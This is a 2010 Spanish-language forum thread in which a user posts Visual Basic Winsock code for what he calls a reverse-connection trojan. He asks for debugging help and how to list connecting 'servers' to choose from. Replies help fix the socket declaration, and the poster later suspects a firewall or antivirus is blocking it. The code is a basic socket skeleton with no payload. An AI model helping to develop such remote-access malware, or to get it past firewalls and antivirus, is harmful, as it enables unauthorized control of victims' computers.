elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  que le pasa a mi bicho???????
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: que le pasa a mi bicho???????  (Leído 7,297 veces)
Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
que le pasa a mi bicho???????
« en: 9 Febrero 2010, 21:38 pm »

Hola amigos!! les cuento mi problema:
Estoy haciendo un troyano de conexion inversa, y ni se me conecta!!, por eso subo el code
que es muy sencillito para que me ayudeis y de paso aprobecho para preguntar como hago para
que mi client me ponga en listbox cuales de mis servers intentan conectar conmigo, para, de
este modo, elegir a cual me conecto...
Bueno, no parece muy dificil, no??
Gracias por vuestra ayuda!!


*SERVIDOR:
Código:
	Public Sub Reconnect()
On Error GoTo Error
If Not WS.State = 7 Then
WS.CloseSck
WS.Connect Text1.Text, 6239 'en text1 pongo la ip publica del client
End If
Error:
End Sub

''''''''''''''''''''''''''''''''''

Private Sub connect_Click()
On Error Resume Next
WS.Connect Text1.Text, 6239
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error
If Not WS.State = 7 Then
Call Reconnect
End If
If WS.State = 7 Then
Label3.Caption = "conectado"
Else
Label3.Caption = "desconectado"
End If
Error:
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
WS.GetData datos
If datos = "prueba" Then
MsgBox "funciona!!"
End If
Error:
MsgBox "error en transmisión de datos"
End Sub


*CLIENTE:

Private Sub Escuchar_Click()
On Error Resume Next
WS.LocalPort = Text1.Text 'el puerto es 6239 al igual que el server
WS.CloseSck
WS.Listen
If WS.State = 2 Then
Label1.Caption = "Escuchando..."
End If
End Sub

Private Sub Send_Click()
WS.SendData Text2.Text 'envio datos
End Sub

Private Sub Exit_Click()
End
End Sub

Private Sub Timer1_Timer()'cada 2 seg
On Error GoTo Error
If WS.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
If Label1.Caption = "Desconectado" Then
WS.CloseSck
WS.Listen
End If
Error:
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error GoTo Error
WS.CloseSck
WS.Accept requestID 'acepto toda conexion entrante
Label3.Caption = WS.RemoteHostIP 'me indica a que ip estoy conectado
Timer1.Enabled = True
Error:
End Sub



« Última modificación: 26 Febrero 2010, 14:04 pm por *PsYkE1* » En línea

Nanoc

Desconectado Desconectado

Mensajes: 166


Ver Perfil
Re: que le pasa a mi bicho???????
« Respuesta #1 en: 9 Febrero 2010, 21:55 pm »

Aparentemente no veo donde falla el codigo al conectar, poniendo 127.0.0.1 en la ip no conecta?


En línea

Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: que le pasa a mi bicho???????
« Respuesta #2 en: 9 Febrero 2010, 22:01 pm »

q va arranco el server y el client en mi pc pongo ip 127.0.0.1 y no m funciona, en vez del winsck utilizo el cSocketMaster...
q puede pasar??
si kieres te envio el codigo x correo aer si encuentras tu el fallo...

gracias
« Última modificación: 9 Febrero 2010, 22:03 pm por *PsYkE1* » En línea

Nanoc

Desconectado Desconectado

Mensajes: 166


Ver Perfil
Re: que le pasa a mi bicho???????
« Respuesta #3 en: 9 Febrero 2010, 22:05 pm »

Has posteado los codigos completos? no veo donde declaras el objeto WS y.. si eso esta bien... prueba a colocar un msgbox en el WS_ConnectionRequest y si te salta el cuadro es que la conexion si se establece, por lo tanto el error esta en otra parte
En línea

Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: que le pasa a mi bicho???????
« Respuesta #4 en: 9 Febrero 2010, 22:14 pm »

si he posteado todo - el cSocketMaster, voy ha hacer lo del msgbox aer si funciona...
pero me extraña...

gracias
En línea

Nanoc

Desconectado Desconectado

Mensajes: 166


Ver Perfil
Re: que le pasa a mi bicho???????
« Respuesta #5 en: 9 Febrero 2010, 22:31 pm »

A mi me suena que si usas Csocketmaster antes tienes que declarar algo asi en el form_load()
Código:
Dim WithEvents ws As CSocketMaster
Set ws = New CSocketMaster
En línea

LeandroA
Moderador
***
Desconectado Desconectado

Mensajes: 760


www.leandroascierto.com


Ver Perfil WWW
Re: que le pasa a mi bicho???????
« Respuesta #6 en: 9 Febrero 2010, 22:57 pm »

Viagra?  a no es otro bicho :laugh:, si la Csocketmaster tiene ese problema con la ip suponiendo que estas haciendo todo bien, proba con 127.0.0.3 o con tu ip de red local

saludos.

saludos.

En línea

Nanoc

Desconectado Desconectado

Mensajes: 166


Ver Perfil
Re: que le pasa a mi bicho???????
« Respuesta #7 en: 9 Febrero 2010, 22:59 pm »

127.0.0.3 es lo mismo que 127.0.0.1 y la ip de la red local tambien, si no funciona con localhost no va a funcionar por mas ip que pongas, el error tiene que estar en el codigo
En línea

seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: que le pasa a mi bicho???????
« Respuesta #8 en: 10 Febrero 2010, 01:45 am »

en estos casos es mejor postear el proyecto entero, porque nadie se va a poner a armar el ejemplo.
En línea

Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: que le pasa a mi bicho???????
« Respuesta #9 en: 11 Febrero 2010, 14:59 pm »

ya esta, era lo de declarar el csocketmaster, pero tengo otro problema:

lo pruebo con mi ip local en un ordenador sin conexion a internet y funciona, lo pruebo en el ordenador q tengo internet y no funciona... :-(
sera x el firewall o el antivirus???

gracias por vuestra ayuda
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Qué es este bicho? « 1 2 »
Foro Libre
Eleкtro 19 22,497 Último mensaje 29 Julio 2015, 17:33 pm
por El_Andaluz
¿Qué bicho es?, tengo una plagaaaaa!!! « 1 2 3 »
Foro Libre
Eleкtro 20 8,228 Último mensaje 5 Septiembre 2018, 07:03 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines